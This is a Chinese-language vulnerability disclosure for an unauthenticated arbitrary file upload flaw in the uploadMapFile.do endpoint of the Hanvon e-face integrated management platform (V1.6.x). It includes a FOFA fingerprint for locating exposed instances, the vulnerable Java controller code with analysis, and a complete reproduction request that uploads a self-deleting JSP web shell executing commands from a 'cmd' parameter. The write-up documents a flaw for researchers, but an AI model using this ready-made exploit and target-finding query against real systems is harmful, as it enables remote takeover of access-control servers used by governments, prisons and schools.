漏洞简介
汉王e脸通综合管理平台是汉王公司研发的一款基于生物识别技术的智慧园区管理软件,集成了考勤管理、门禁管理、访客管理、巡更管理、消费管理、车控管理、梯控管理、人事管理等多个模块,广泛应用于政府、企业、监狱、学校、智慧社区等多个领域,实现无接触式快速通行,提升管理效率和安全性。其管理平台的 uploadMapFile.do 接口存在任意文件上传漏洞。攻击者可在无需认证的情况下,通过向该接口上传恶意文件,实现任意文件上传,进而可能导致远程代码执行或服务器被控制,严重威胁系统安全。
影响版本
V1.6.x
fofa语法
icon_hash="1380907357"
漏洞分析
直接看 VisitorMapConfigController 里关于 uploadMapFile 的实现
@ResponseBody
@RequestMapping(
value = {"uploadMapFile.do"},
method = {RequestMethod.POST}
)
public RequestJson uploadMapFile(HttpServletRequest request) {
RequestJson result = new RequestJson();
try {
String fileName = null;
String fileType = null;
if (!ServletFileUpload.isMultipartContent(request)) {
result = RequestJson.failuerResult(result, "网络错误!");
return result;
}
MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest)request;
Map<String, MultipartFile> fileMap = multipartRequest.getFileMap();
String uploadPath = null;
for(Map.Entry<String, MultipartFile> entity : fileMap.entrySet()) {
MultipartFile mf = (MultipartFile)entity.getValue();
if (!mf.isEmpty()) {
String fileTypeStr = mf.getOriginalFilename();
String fileId = UUID.randomUUID().toString().replace("-", "");
fileName = fileTypeStr.split("\\.")[0];
fileType = fileTypeStr.split("\\.")[1];
String path = request.getSession().getServletContext().getRealPath("/resource");
File tmpFile = new File(path);
if (!tmpFile.exists()) {
tmpFile.mkdir();
}
uploadPath = path + "\\" + fileId + "." + fileType;
File targetFile = new File(uploadPath);
Files.copy(mf.getInputStream(), targetFile.toPath(), new CopyOption[]{StandardCopyOption.REPLACE_EXISTING});
uploadPath = fileId + "." + fileType;
fileName = fileName + "." + fileType;
}
}
Map<String, Object> map = new HashMap();
map.put("fileName", fileName);
map.put("fileType", fileType);
map.put("path", uploadPath);
result = RequestJson.successResult(result, map, "上传成功!");
} catch (Exception e) {
String msg = getMessage("basics_go_wrong") + e.getLocalizedMessage();
result = RequestJson.errorResult(result, msg);
e.printStackTrace();
}
return result;
}
文件上传中的原始文件名(mf.getOriginalFilename())和文件内容(mf.getInputStream()),文件名通过 fileTypeStr.split("\.")[1] 提取扩展名(fileType),生成上传路径 uploadPath = path + "\" + fileId + "." + fileType,其中 fileType 直接受用户控制,Files.copy(mf.getInputStream(), targetFile.toPath(), new CopyOption[]{StandardCopyOption.REPLACE_EXISTING}),文件内容写入用户可控扩展名的文件,造成任意文件上传漏洞。
漏洞复现
POST /manage/visitorMapConfig/uploadMapFile.do?recoToken=67mds2pxXQb HTTP/1.1
Host: hanvon.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
------WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: image/jpeg
<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b,0,a));}out.print("</pre>");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundaryFfJZ4PlAZBixjELj--
访问文件执行命令 /manage/resource/xxxxx.jsp?cmd=whoami

成功执行上传代码回显命令执行结果


